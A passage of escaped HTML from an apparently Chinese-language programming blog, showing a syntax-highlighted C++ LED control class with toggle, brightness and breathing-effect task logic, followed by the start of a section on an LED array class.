class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ecompare\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003ereset\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCrtTask\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCrtBreathStatus\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003etoggle\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ecompare\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecrt\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecompare\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ereset\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"nf\"\u003eminus\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ediff\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecrt\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecrt\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"n\"\u003ediff\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"nf\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ediff\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecrt\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"n\"\u003e__max__\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecrt\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"n\"\u003ediff\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"nf\"\u003eTryBreath\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ediff\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"n\"\u003ealways\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eswitch\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCrtBreathStatus\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ediff\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCrtBreathStatus\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003eminus\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ediff\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ealways\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCrtBreathStatus\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ereset\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003edefault\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003esetTask\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003etask\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCrtTask\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003etask\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eexecTask\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eswitch\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCrtTask\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e__diff__\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eminus\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e__diff__\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCrtBreathStatus\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCrtBreathStatus\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eTryBreath\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e__diff__\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCrtBreathStatus\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCrtBreathStatus\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eTryBreath\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e__diff__\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nb\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003edefault\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch2 id=\"led类--led-array-类\"\u003eLED类 =\u0026gt; LED Array 类\u003c/h2\u003e\n\u003cp\u003e简单的将上面的LED用array来 遍历 控制。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e21\n\u003c/span\u003e\u003cspan 